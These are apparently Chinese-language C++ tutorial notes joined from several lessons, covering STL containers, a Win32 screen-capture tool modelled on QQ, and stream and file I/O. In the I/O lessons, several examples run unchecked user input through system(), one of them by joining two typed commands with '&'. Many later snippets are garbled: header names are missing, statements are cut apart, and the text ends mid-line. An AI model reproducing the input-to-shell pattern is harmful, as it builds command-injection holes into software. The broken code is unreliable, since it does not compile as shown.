operator ()(int x)//重载了()符号,之际调用() { std::cout << x << endl; } }; void printA(int x) { std::cout << x << endl; } void main1() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; int *p = find(a, a + 10, 8); std::cout << (void*)a << (void*)(a + 10) << std::endl; std::cout << *p << endl; std::cout << p << endl; if (p==(a+10)) { std::cout << "没有找到\n"; } for_each(a, a + 4, print());//遍历每一个元素, //printA是一个函数指针,必须是函数类型 cin.get(); } 容器与迭代器 #include<iostream> #include <set> #include <stdio.h> #include <list> #include <vector> #include <algorithm> #include <functional> using namespace std; void main12() { multiset <int>myset; myset.insert(11); myset.insert(12); myset.insert(13); myset.insert(10); myset.insert(10); myset.insert(100); auto ib = myset.begin(); auto ie = myset.end(); for (;ib!=ie;ib++) { std::cout << *ib << std::endl; printf("%p,%p\n", ib, ib._Ptr);//智能指针 } cin.get(); } void main() { list<int> mylist; mylist.push_back(11); mylist.push_back(1); mylist.push_back(16); mylist.push_back(1); mylist.push_back(18); auto ib = mylist.begin(); auto ie = mylist.end(); for (;ib!=ie;ib++) { std::cout << *ib << std::endl; printf("%p\n", ib); printf("%p\n", ib._Ptr); //智能指针 STL bug ,分行打印,先访问内部,再访问外部 printf("%p,%p\n", ib._Ptr,ib );//智能指针. } cin.get(); } void mainx() { list<int> mylist; mylist.push_back(1); mylist.push_back(2); mylist.push_back(3); mylist.push_back(4); //mylist[1]; auto ibegin = mylist.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist.end(); //list用迭代器进行遍历 for (; ibegin != iend; ibegin++) { cout << *ibegin << endl; printf("%p,%p\n", ibegin._Ptr, ibegin);//重载 } cin.get(); } bool less3(int x) { return x < 3; } void mainu() { vector<int> mylist; mylist.push_back(1); mylist.push_back(2); mylist.push_back(16); mylist.push_back(1); mylist.push_back(18); using namespace std; auto ib = mylist.begin(); auto ie = mylist.end(); for (; ib != ie; ib++) { std::cout << *ib << std::endl; } //仿函数可以实现一定的算法策略 //auto ifind = find_if(++mylist.begin(), mylist.end(), bind1st( greater<int>(), 3)); auto ifind = find_if(mylist.begin(), mylist.end(), less3); // bind1st( greater<int>(), 3) //绑定一个函数, greater<int>(),3 std::cout <<"\n\n\n\n"<< *ifind << endl; cin.get(); } 栈队列双端队列优先队列 栈 #include <stack> #include <iostream> using namespace std; void mainB() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; stack<int> mystack; for (int i = 0; i < 10;i++) { mystack.push(a[i]); } while (!mystack.empty()) { int num = mystack.top(); std::cout << num << " "; mystack.pop(); } cin.get(); } void mainA() { int num; cin >> num; stack<int> mystack; for ( ;num;num/=2) { mystack.push(num % 2); std::cout << "当前元素个数" << mystack.size() << endl; } while (!mystack.empty()) { int num=mystack.top(); std::cout << num << " "; mystack.pop(); } cin.get(); cin.get(); } 队列 #include <queue> #include <iostream> #include <string> #include <stdlib.h> #include <list> #include<deque>//双端队列 //提供了二维动态数组的功能,头部,尾部,任意操作 using namespace std; void mainX() { queue<char *>myq; myq.push("calc"); myq.push("notepad"); myq.push("tasklist"); myq.push("mspaint"); while (!myq.empty()) { char *p= myq.front();//获取 system(p); myq.pop(); } } void mainY() { deque<int> mydq; mydq.push_back(1); mydq.push_back(11); mydq.push_back(111); mydq.push_back(1111); mydq.push_back(11111); mydq.push_front(123); mydq.insert(mydq.begin() + 3, 100);//插入 for (int i = 0; i < mydq.size();i++) { std::cout << mydq[i] << std::endl; } auto ib = mydq.begin(); auto ie = mydq.end(); for (; ib != ie; ib++) { std::cout << *ib<< std::endl; } cin.get(); } void main11() { deque<int> mydq; mydq.push_back(1); mydq.push_back(11); mydq.push_back(111); mydq.push_back(1111); mydq.push_back(11111); mydq.push_front(123); //mydq.erase(mydq.begin()); //mydq.erase(mydq.end() - 1); mydq.pop_front();//头部弹出 mydq.pop_back();//尾部 //mydq.clear(); auto ib = mydq.begin(); auto ie = mydq.end(); for (; ib != ie; ib++) { std::cout << *ib << std::endl; } cin.get(); } void main1234() { deque<int> mydq1; mydq1.push_back(1); mydq1.push_back(11); mydq1.push_back(111); mydq1.push_back(1111); mydq1.push_back(11111); deque<int> mydq2; mydq2.push_back(2); mydq2.push_back(21); mydq2.push_back(211); mydq2.push_back(2111); mydq1.swap(mydq2); //块语句 { auto ib = mydq1.begin(); auto ie = mydq1.end(); for (; ib != ie; ib++) { std::cout << *ib << std::endl; } } { auto ib = mydq2.begin(); auto ie = mydq2.end(); for (; ib != ie; ib++) { std::cout << *ib << std::endl; } } cin.get(); } void mainXF() { deque<int> mydq1; mydq1.push_back(1); mydq1.push_back(11); mydq1.push_back(111); mydq1.push_back(1111); mydq1.push_back(11111); std::cout << mydq1.front() << std::endl; std::cout << mydq1.back() << std::endl; std::cout << mydq1.max_size() << std::endl; std::cout << mydq1.size() << std::endl; cin.get(); } void mainRT() { priority_queue<int > myq; myq.push(10); myq.push(12); myq.push(11); myq.push(110); myq.push(101);//自动排序 while (!myq.empty()) { std::cout << myq.top() << endl; myq.pop(); } cin.get(); } struct student { int age; string name; }; //strcmp==0; 字符串比较, c风格 struct stuless { //仿函数 bool operator()(const student &s1, const student &s2) { return s1.age < s2.age; } }; void main() { //类名, //存储 //比大小 priority_queue<student, deque<student>, stuless> myq; student s1; s1.age = 10; s1.name = "谭胜"; student s2; s2.age = 9; s2.name = "熊飞"; student s3; s3.age = 19; s3.name = "熊peng飞"; myq.push(s1); myq.push(s2); myq.push(s3); while (!myq.empty()) { std::cout << myq.top().age << myq.top().name << endl; myq.pop(); } cin.get(); } 数据结构堆的概念 堆数据结构是一种数组对象,它可以被视为一科完全二叉树结构。它的特点是父节点的值大于(小于)两个子节点的值(分别称为大顶堆和小顶堆)。它常用于管理算法执行过程中的信息,应用场景包括堆排序,优先队列等。 数组的形式,采用顺序存储,构成树的结构。 红黑树容器 Set 每一个节点就是一个基本的节点数据 #include<iostream> #include <set> #include <string> #include <bitset> using namespace std; struct strless { bool operator()(const char *str1, const char *str2) //二分查找法依赖于有序,字符串有序 { return strcmp(str1, str2) < 0; } }; //红黑树,处理纯数字非常少,处理类对象以及字符串 void main1() { //set<char *, strless> myset(strless());//默认构造 const char *cmd[] = { "abc", "calc", "notepad", "const","xyz","ghj" }; set< const char *, strless> myset(cmd, cmd + 6, strless());//构造 myset.insert("1234"); myset.insert("4567"); //pair起到获取插入返回值,第一个类型,类型比大小的方式 pair<set<const char *>::iterator, bool> p = myset.insert("9876"); cout << "pair start" << endl; cout << *(p.first) <<" "<< p.second << endl; cout << "pair over" << endl; auto ib = myset.begin(); auto ie = myset.end(); for (;ib!=ie;ib++) { cout << *ib << endl; } auto rb = myset.rbegin(); auto re = myset.rend(); for (; rb != re; rb++) { cout << *rb << endl; } set<const char *, strless>::iterator pfind = myset.find("xyz");//查找 std::cout <<"\n\n\n"<< *pfind << endl; // std::cout << "\n\n\n" << *p << endl; cin.get(); } Multiset 内部机制:红黑树的每一个节点是链表 #define _CRT_SECURE_NO_WARNINGS #include <set> #include <iostream> #include <string> //mutiset每一个节点都是一个链表,set每个节点就是一个节点 using namespace std; struct student { int id; char name[30]; }; //排序 struct stuless { bool operator()(const student &s1, const student &s2) { return s1.id < s2.id; } }; void main2() { student sarray[3] = { { 10, "tansheng" }, { 3, "liguilong" }, { 4, "xiongfei" } }; multiset<student, stuless> myset (sarray, sarray + 3, stuless()); student stu1; stu1.id = 20; strcpy(stu1.name, "mouzhiwei"); myset.insert(stu1); strcpy(stu1.name, "mouzhiwei1"); myset.insert(stu1); strcpy(stu1.name, "mouzhiwei2"); myset.insert(stu1); auto ib = myset.begin(); auto ie = myset.end(); for (;ib!=ie;ib++) { cout << (*ib).id << " " << (*ib).name << endl; } cin.get(); } 映射map 本质也是红黑树,可以同时存储很多数据。 #include <map>//也是红黑树 #include <iostream> using namespace std; void main1111() { map<const char * , int> mymap; mymap["司令"] = 10;//映射 ,对等的映射查找 mymap["军长"] = 9; mymap["师长"] = 8; mymap["旅长"] = 7; cout << mymap["司令"] << endl; cout << mymap["军长"] << endl; cout << mymap["师长"] << endl; cout << mymap["旅长"] << endl; std::cin.get(); } struct student { char * name; int year; }; struct stuinfo { int id; student stu; }; void main3213() { stuinfo infoarrary[] = { { 10, { "yincheng1", 21 } }, { 5, { "yincheng2", 22 } } , { 25, { "yincheng3", 30 } } }; map<int, student> m;//编号映射 结构体 for (int i = 0; i < 3;i++) { m[ infoarrary[i].id ] = infoarrary[i].stu;//编号映射一个学生的信息 } stuinfo infoarrarys = { 101, { "china", 99 } }; m[25] = infoarrarys.stu;//映射 map<int,student>::iterator ib = m.begin(); auto ie = m.end(); for (;ib!=ie;ib++) { cout << (*ib).first << endl; cout << (*ib).second.name <<" " <<(*ib).second.year << endl; } cin.get(); } Multimap 每一个节点又是一个链表 #include <map> #include <iostream> using namespace std; //map,mutlimap区别是map每一个节点是一个映射 //multimap每一个一个节点是映射的链表的开头 void main121321() { map<const char *, int> m; m.insert(pair<const char *, int>("司令1",101)); m.insert(pair<const char *, int>("司令2", 102)); m.insert(pair<const char *, int>("司令3", 103)); m.insert(pair<const char *, int>("司令1", 104)); map<const char *, int>::iterator ib = m.begin(); auto ie = m.end(); for (; ib != ie; ib++) { cout << (*ib).first << " " << (*ib).second << "\n"; } cin.get(); } void main2123123() { multimap<const char *, int> m; m.insert(pair<const char *, int>("司令1", 101)); m.insert(pair<const char *, int>("司令2", 102)); m.insert(pair<const char *, int>("司令3", 103)); m.insert(pair<const char *, int>("司令1", 104)); auto ib = m.begin(); auto ie = m.end(); for (; ib != ie; ib++) { cout << (*ib).first << " " << (*ib).second << "\n"; } cin.get(); } Hash_set hash不需要排序,能够做到快速查找。秒查,比二分查找法还快。 #include <hash_set> #include <iostream> #include<algorithm> #include <string> using namespace std; void main123123123() { const char *cmd[] = { "abc", "calc", "notepad", "const", "xyz", "ghj" }; hash_set<const char*> hs;//C++11自带了字符串的哈希 hs.insert("chian"); hs.insert("chi123an"); hs.insert("chi23an"); hs.insert("chzcian"); hs.insert("1chzcian"); auto pfind = hs.find("chi1213an"); if (pfind == hs.end()) { std::cout << "没有"; } else { std::cout << *pfind; } cin.get(); } void main1asdasdsad() { hash_set<int> hs; hs.insert(91); hs.insert(21); hs.insert(41); auto ib = hs.begin(); auto ie = hs.end(); for (;ib!=ie;ib++) { cout << *ib << endl; } auto pfind = hs.find(211); if (pfind==ie) { std::cout << "没有"; } else { std::cout << *pfind; } cin.get(); } Hash_map #include <hash_map>//也是红黑树 #include <iostream> #include<map> using namespace std; void main() { map< int,const char *> m; m.insert(pair< int, const char *>(201, "司令1" )); m.insert(pair< int, const char *>(101, "司" )); m.insert(pair< int, const char *>(401, "司令11111" )); m.insert(pair< int, const char *>(301, "司令")); auto ib = m.begin(); auto ie = m.end(); for (; ib != ie; ib++) { cout << (*ib).first << " " << (*ib).second << "\n"; } { hash_map< int, const char *> m; m.insert(pair< int, const char *>(201, "司令1")); m.insert(pair< int, const char *>(101, "司")); m.insert(pair< int, const char *>(401, "司令11111")); m.insert(pair< int, const char *>(301, "司令")); auto ib = m.begin(); auto ie = m.end(); for (; ib != ie; ib++) { cout << (*ib).first << " " << (*ib).second << "\n"; } auto tofind = m.find(1101); if (tofind == ie) { cout << "没有找到"; } else { cout << "\n\n\n"<<(*tofind).first<<" "<<(*tofind).second; } } std::cin.get(); }
模仿腾讯QQ截图功能: // ScreenCapture.cpp : 定义应用程序的入口点。 // #include "stdafx.h" #include "ScreenCapture.h" #define MAX_LOADSTRING 100 // 全局变量: HINSTANCE hInst; // 当前实例 TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本 TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名 // 此代码模块中包含的函数的前向声明: ATOM MyRegisterClass(HINSTANCE hInstance); BOOL InitInstance(HINSTANCE, int); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM); HDC g_srcMemDc; HDC g_grayMemDc; int screenW; int screenH; RECT rect = {0}; //画图的矩形区域 bool isDrawing = false; bool isSelect = false; void GetScreenCapture(); void CovertToGrayBitmap(HBITMAP hSourceBmp,HDC sourceDc); void WriteDatatoClipBoard(); int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); // TODO: 在此放置代码。 MSG msg; HACCEL hAccelTable; // 初始化全局字符串 LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadString(hInstance, IDC_SCREENCAPTURE, szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); // 执行应用程序初始化: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_SCREENCAPTURE)); // 主消息循环: while (GetMessage(&msg, NULL, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return (int) msg.wParam; } // // 函数: MyRegisterClass() // // 目的: 注册窗口类。 // ATOM MyRegisterClass(HINSTANCE hInstance) { WNDCLASSEX wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; wcex.lpfnWndProc = WndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_SCREENCAPTURE)); wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = 0;//MAKEINTRESOURCE(IDC_SCREENCAPTURE); wcex.lpszClassName = szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); return RegisterClassEx(&wcex); } // // 函数: InitInstance(HINSTANCE, int) // // 目的: 保存实例句柄并创建主窗口 // // 注释: // // 在此函数中,我们在全局变量中保存实例句柄并 // 创建和显示主程序窗口。 // BOOL InitInstance(HINSTANCE hInstance, int nCmdShow) { HWND hWnd; hInst = hInstance; // 将实例句柄存储在全局变量中 hWnd = CreateWindow(szWindowClass, szTitle, WS_POPUP, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL); if (!hWnd) { return FALSE; } ShowWindow(hWnd, SW_MAXIMIZE); UpdateWindow(hWnd); return TRUE; } // // 函数: WndProc(HWND, UINT, WPARAM, LPARAM) // // 目的: 处理主窗口的消息。 // // WM_COMMAND - 处理应用程序菜单 // WM_PAINT - 绘制主窗口 // WM_DESTROY - 发送退出消息并返回 // // LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; PAINTSTRUCT ps; HDC hdc; LOGBRUSH brush; brush.lbStyle=BS_NULL; HBRUSH hBrush=CreateBrushIndirect(&brush); LOGPEN pen; POINT penWidth; penWidth.x=2; penWidth.y=2; pen.lopnColor=0x0000FFFF; pen.lopnStyle=PS_SOLID; pen.lopnWidth=penWidth; HPEN hPen=CreatePenIndirect(&pen); switch (message) { case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); // 分析菜单选择: switch (wmId) { case IDM_ABOUT: DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_CREATE: GetScreenCapture(); break; case WM_PAINT: { hdc = BeginPaint(hWnd, &ps); HDC memDc = CreateCompatibleDC(hdc); HBITMAP bmp = CreateCompatibleBitmap(hdc, screenW, screenH); SelectObject(memDc, bmp); BitBlt(memDc, 0, 0, screenW,screenH, g_grayMemDc, 0, 0, SRCCOPY); SelectObject(memDc, hBrush); SelectObject(memDc, hPen); if (isDrawing || isSelect) { BitBlt(memDc, rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top, g_srcMemDc, rect.left, rect.top, SRCCOPY); Rectangle(memDc, rect.left, rect.top, rect.right, rect.bottom); } BitBlt(hdc, 0, 0, screenW, screenH, memDc, 0, 0, SRCCOPY); DeleteObject(bmp); DeleteObject(memDc); EndPaint(hWnd, &ps); } break; case WM_LBUTTONDOWN: { if (!isSelect) { POINT pt; GetCursorPos(&pt); rect.left = pt.x; rect.top = pt.y; rect.right = pt.x; rect.bottom = pt.y; isDrawing = true; InvalidateRgn(hWnd, 0, false); } } break; case WM_LBUTTONUP: { if (isDrawing && !isSelect) { isDrawing = false; POINT pt; GetCursorPos(&pt); rect.right = pt.x; rect.bottom = pt.y; isSelect = true; InvalidateRgn(hWnd, 0, false); } } break; case WM_MOUSEMOVE: { if (isDrawing&& !isSelect) { POINT pt; GetCursorPos(&pt); rect.right = pt.x; rect.bottom = pt.y; InvalidateRgn(hWnd, 0, false); } } break; case WM_LBUTTONDBLCLK: { if (isSelect) { WriteDatatoClipBoard(); InvalidateRgn(hWnd, 0, false); ShowWindow(hWnd, SW_MINIMIZE); } isSelect = false; } break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } // “关于”框的消息处理程序。 INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: return (INT_PTR)TRUE; case WM_COMMAND: if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { EndDialog(hDlg, LOWORD(wParam)); return (INT_PTR)TRUE; } break; } return (INT_PTR)FALSE; } void GetScreenCapture() { HDC disDc = ::CreateDC(L"DISPLAY", 0, 0, 0); //创建屏幕相关的DC screenW = GetDeviceCaps(disDc, HORZRES);//水平分辨率 screenH = GetDeviceCaps(disDc, VERTRES);//垂直分辨率 g_srcMemDc = CreateCompatibleDC(disDc); //创建于屏幕兼容的DC(内存DC) HBITMAP hbMap = CreateCompatibleBitmap(disDc, screenW, screenH); //模拟一张画布,其中是没有数据的 SelectObject(g_srcMemDc, hbMap); //将画图选入内存DC,其中还是没有数据的 BitBlt(g_srcMemDc, 0, 0, screenW, screenH, disDc, 0, 0, SRCCOPY); //将屏幕的dc中的画图,拷贝至内存DC中 //获取屏幕的灰度图片 g_grayMemDc = CreateCompatibleDC(disDc); HBITMAP grayMap = CreateCompatibleBitmap(disDc, screenW, screenH); //模拟一张画布,其中是没有数据的 SelectObject(g_grayMemDc, grayMap); //将画图选入内存DC,其中还是没有数据的 BitBlt(g_grayMemDc, 0, 0, screenW, screenH, disDc, 0, 0, SRCCOPY); //将屏幕的dc中的画图,拷贝至内存DC中 CovertToGrayBitmap(grayMap, g_grayMemDc); //将彩色图片转换灰度图片 DeleteObject(hbMap); DeleteObject(grayMap); DeleteObject(disDc); } void CovertToGrayBitmap(HBITMAP hSourceBmp,HDC sourceDc) { HBITMAP retBmp=hSourceBmp; BITMAPINFO bmpInfo; ZeroMemory(&bmpInfo,sizeof(BITMAPINFO)); bmpInfo.bmiHeader.biSize=sizeof(BITMAPINFOHEADER); GetDIBits(sourceDc,retBmp,0,0,NULL,&bmpInfo,DIB_RGB_COLORS); BYTE* bits=new BYTE[bmpInfo.bmiHeader.biSizeImage]; GetBitmapBits(retBmp,bmpInfo.bmiHeader.biSizeImage,bits); int bytePerPixel=4;//默认32位 if(bmpInfo.bmiHeader.biBitCount==24) { bytePerPixel=3; } for(DWORD i=0;i<bmpInfo.bmiHeader.biSizeImage;i+=bytePerPixel) { BYTE r=*(bits+i); BYTE g=*(bits+i+1); BYTE b=*(bits+i+2); *(bits+i)=*(bits+i+1)=*(bits+i+2)=(r+b+g)/3; } SetBitmapBits(hSourceBmp,bmpInfo.bmiHeader.biSizeImage,bits); delete[] bits; } void WriteDatatoClipBoard() { HDC hMemDc,hScrDc; HBITMAP hBmp,hOldBmp; int width,height; width=rect.right-rect.left; height=rect.bottom-rect.top; hScrDc=CreateDC(L"DISPLAY",NULL,NULL,NULL); hMemDc=CreateCompatibleDC(hScrDc); hBmp=CreateCompatibleBitmap(hScrDc,width,height); hOldBmp=(HBITMAP)SelectObject(hMemDc,hBmp); BitBlt(hMemDc,0,0,width,height,g_srcMemDc,rect.left,rect.top,SRCCOPY); hBmp=(HBITMAP)SelectObject(hMemDc,hOldBmp); DeleteDC(hMemDc); DeleteDC(hScrDc); //复制到剪贴板 if(OpenClipboard(0)) { EmptyClipboard(); SetClipboardData(CF_BITMAP,hBmp); CloseClipboard(); } DeleteObject(hBmp); DeleteObject(hMemDc); DeleteObject(hScrDc); }
文件重定向 #include using namespace std; void main() { char str[30] = { 0 }; cin >> str; cout << str; system(str); cerr << "error for you"; cin.get(); cin.get(); } 键盘输入流 #include #include using namespace std; void main1() { char ch; cin >> ch; cout << (char)(ch-32);//cout重载了很多数据类型 cin.get(); cin.get(); } void main2() { char ch = 0; while ((ch=cin.get())!='\t')//复合表达式 { cin.get(); cout.put(ch); } } void main3() { char str[10] = {0}; cin.getline(str, 10);//限定长度 cout << str; system("pause"); } void main()//引用的方式 { char ch = 0; while ( ch!= '\t')//复合表达式 { cin.get(ch);//等价于ch=cin.get cin.get(); cout.put(ch); } } 屏幕输出流/实数整数输出/格式控制 #include #include//控制输出流 using namespace std; void main1() { cout.put('A').put('B').put('C'); char str[] = "123456789abcdefg"; cout.write(str, 10);//最大输出10个字符,不包含/0 cin.get(); } void main2() { //dec,oct,hex都是格式控制符 int num = 01070; cout << num << endl;//默认十进制 cout << hex;//十六进制强制标识,endl结束不了 cout << num << num << "\n" << endl; cout << oct;//八进制强制标识,endl结束不了 cout << num << num<<"\n"<> num1; cout.setf(ios::hex, ios::basefield);//设置十六进制 cout << num1; int num2; cin.setf(ios::dec, ios::basefield);//设置输入为十进制 cin >> num2; cout.setf(ios::dec, ios::basefield); cout << num2; int num3; cin.setf(ios::oct, ios::basefield);//设置输入为8进制 cin >> num3; cout.setf(ios::oct, ios::basefield); cout << num3; cin.get(); cin.get(); cin.get(); cin.get(); cin.get(); } void main7() { double db = 100 / 7.0; cout.setf(ios::fixed | ios::showpoint);//定点 for (int i = 1; i < 10; i++) { cout.precision(i);//控制小数点多少位 cout << db << endl; } cout << db< 字符串输入输出 #include #include #include using namespace std; struct MyStruct { string str1, str2, str3; double db; int num; char ch; }; void main1() { string mystring("china google microsoft 12.9 123 A"); //string.replace '#' ' ' MyStruct struct1; istringstream input(mystring);//创建一个字符串扫描流 input >> struct1.str1 >> struct1.str2 >> struct1.str3 >> struct1.db >> struct1.num >> struct1.ch; cout << struct1.str1 << endl; cout << struct1.str2<< endl; cout << struct1.str3 << endl; cout << struct1.db << endl; cout << struct1.num << endl; cout << struct1.ch << endl; cin.get(); } void main2() { char mystring[50]="china#123#A"; for (char *p = mystring; *p != '\0'; p++) { if (*p == '#') { *p = ' '; } } istringstream input(mystring);//创建一个字符串扫描流 string str; int num; char ch; input >> str >> num >> ch; cout < void main233() { char str[100] = { 0 }; ostrstream MYOUT(str, sizeof(str));//初始化,ostrstrean给char //ostringstream char str1[50] = "a1234567b"; MYOUT << "a1234b" << str1 << ends; cout << MYOUT.str() << endl; std::cout< 字符串流 #define _CRT_SECURE_NO_WARNINGS #include #include #include #include using namespace std; void mainA() { stringstream mystr;//字符串进行输入, mystr.put('X').put('Y');//连个字符输入 mystr << "ZXCV";//字符串输入 cout << mystr.str(); string str = mystr.str();//定义字符串接受值 char ch; //从字符串内部读取一个字符 mystr >> ch; cout << "\n"; cout.put(ch); cout << "\n"; cout << mystr.str(); std::cin.get(); } void main() { stringstream mystr;//sprintf功能 char cmd1[30] = { 0 }; char cmd2[30] = { 0 }; cin.getline(cmd1, 30).getline(cmd2, 30);//读取 mystr << cmd1 << "&" << cmd2;//字符打印 string str = mystr.str();//定义字符串接受值 system(str.c_str()); char cstr[50] = { 0 };//默认的字符串 strcpy(cstr, str.c_str()); cout << cstr << endl; for (char *p = cstr; *p != '\0'; p++) { if (*p == '&') { *p = ' '; } } char newcmd1[30] = { 0 }; char newcmd2[30] = { 0 }; stringstream newstr(cstr);//sscanf的功能 newstr >> newcmd1 >> newcmd2; cout << newcmd1<<"\n"< 文件读写简单操作/文件读写按行读写扫描读写 #include #include using namespace std; void main1() { ofstream fout;//ofstream.输出文件 fout.open("C:\\1.txt");//打开文件 fout << "1234abcdef";//写入文件 fout.close(); } void main2() { ifstream fin("C:\\1.txt");//创建读取文件的流 char str[50] = { 0 }; fin >> str;//读取 fin.close(); cout << str; cin.get(); } void main3() { //按照行来读取 ifstream fin("C:\\1.txt"); for (int i = 0; i < 4; i++) { char str[50] = { 0 }; fin.getline(str, 50); cout << str << endl; } fin.close(); cin.get(); } void main4() { ofstream fout;//ofstream.输出文件 fout.open("C:\\2.txt");//打开文件 fout << "锄禾日当午"<> str >> num >> ch; std::cout << str << "\n" << num << "\n" << ch; std::cin.get(); } //读写一个字符 //文本与二进制存储差别不一样 void main123213() { ifstream fin("C:\\4.txt");//创建读取文件的流 ofstream fout("C:\\40.txt"); if (!fin || !fout) { std::cout << "文件打开失败"; return; } std::cout << "文件拷贝开始\n"; char ch=0; while (fout && fin.get(ch))//引用的方式读取到一个字符 { fout.put(ch);//写入一个字节 } fin.close(); fout.close(); std::cout << "文件拷贝完成"; cin.get(); } void main10() { ofstream fout("C:\\40.txt",ios::app);//追加 fout << "天下英雄,谭胜第一"; fout.close(); cin.get(); } iosQT 使用TightVNC软件,远程连接mac机器进行开发。 TightVNC 一款用于windows操作系统的应用软件,是一款远程控制软件。 使用教程 1、需要在被控方电脑上打开TvnServer,记住端口的相应信息; 2、如果需要密码验证,在主密码处设置好密码即可,TightVNC的界面也是非常友好的。 字符文件读写二进制与文本差别 文本文件 1 2 3 00000001 00000010 00000011 二进制 123 01111011 get与getline挖掘数据 #include #include using namespace std; void main1() { { char buf[80]; cin.get(buf, 80, '#');//提取一段文本,最大长度为80,遇到#结束 std::cout << buf; } system("pause"); std::cin.get(); std::cin.get(); } void main2() { { char buf[80]; cin.get(buf, 80);//以回车结束,最大长度为80 cin >> buf;//cin无法区分空格 std::cout << buf; } system("pause"); std::cin.get(); std::cin.get(); } void main3() { { char buf[8]; cin.get(buf, 8,'n');//如果记录回车,空格,可以以任何字符 //cin >> buf;//cin无法区分空格 std::cout << buf; } system("pause"); std::cin.get(); std::cin.get(); } void main4() { { char buf[80]; cin.get(buf, 40, 'n');//如果记录回车,空格,可以以任何字符 std::cout << buf<<"\n";//n意味着结束,后面不会读取 cin.get(buf, 40, 'n'); std::cout << buf << "\n"; } system("pause"); std::cin.get(); std::cin.get(); } void main() { char buf[80]; //默认/n,可以设定,可以反复读取 cin.getline(buf, 80,',');//逐行读取 std::cout << buf << "\n"; cin.getline(buf, 80,',');//逐行读取 std::cout << buf << "\n"; cin.getline(buf, 80, ',');//逐行读取 std::cout << buf << "\n"; cin.getline(buf, 80, '\n');//逐行读取 std::cout << buf << "\n"; //cin.get(buf, 80,'x');//一次性读取,以X为结束 //std::cout << buf << "\n"; system("pause"); std::cin.get(); std::cin.get(); } 二进制与文本差别 #include #include #include using namespace std; struct MyStruct { char *p = "北京是帝都"; int num = 20; double db = 10.98; char ch = 'a'; }; void main1() { ofstream fout("C:\\wen.txt",ios::out); ifstream fin("C:\\wen.txt"); std::cout << sizeof(MyStruct) << std::endl; MyStruct my1; fout << my1.p <<" "<< my1.num <<" "<< my1.db <<" "<< my1.ch << "\n"; fout.close(); char str[100] = { 0 }; fin.getline(str, 100, 0);//提取 std::cout << str << std::endl; fin.close(); cin.get(); } void main() { MyStruct my1; my1.p = "chuheridangwu"; ofstream fout("C:\\bin.bin", ios::binary); fout.write((char *)&my1, sizeof(my1));// //第一个参数是要写入文件的内存的首地址, //第二个参数是长度 fout.close(); ifstream fin("C:\\bin.bin", ios::binary); MyStruct newmy1; fin.read((char*)&newmy1, sizeof(newmy1)); //保存文件读取到内存,内存首地址 //长度 std::cout << newmy1.p << std::endl; fin.close(); std::cin.get(); } 二进制文件读写 字节的二进制 #include #include #include using namespace std; //按照字节的方式读写二进制, //文件加密解密需要字节的方式 void main1() { ifstream fin("C:\\write.exe", ios::binary); ofstream fout("C:\\newwrite.exe", ios::binary); if (!fin || !fout) { std::cout << "文件打开失败"; return; } std::cout << "文件拷贝开始\n"; char ch = 0; while (fout && fin.get(ch))//引用的方式读取到一个字符 { fout.put(ch);//写入一个字节 } fin.close(); fout.close(); std::cout << "文件拷贝完成"; std::cin.get(); } 二进制内存文件的拷贝 #include #include #include using namespace std; struct MyStruct { int i; double db; }; void main() { ofstream fout("C:\\big.txt", ios::binary); MyStruct ss[5] = { { 1, 1.1 }, { 2, 2.2 }, { 3, 3.3 }, { 4, 4.4 }, { 5, 5.5 } }; fout.write((char *)ss, sizeof(MyStruct)* 5); fout.close(); ifstream fin("C:\\big.txt", ios::binary); MyStruct *p = new MyStruct[5];//动态分配内存 fin.read((char *)p, sizeof(MyStruct)* 5); fin.close(); for (int i = 0; i < 5; i++) { std::cout << p[i].i << " " << p[i].db << std::endl; } cin.get(); } 随机位置文本二进制读写 随机文本文本读写 #include #include using namespace std; void main1()//随机位置读取 { ofstream fout("p.txt"); fout << "1234567890abcdefghijklmn"; fout.close(); ifstream fin("p.txt"); //fin.seekg(9, ios::beg);//从开始,往前9个字符 fin.seekg(-9, ios::end);//从尾部,倒数9个字符 char ch; while (fin.get(ch)) { cout << ch; } fin.close(); cin.get(); } void main2() { ofstream fout("px.txt"); fout << "1234567890abcdefghijklmn"; fout.close(); ofstream Fout("px.txt", ios::in 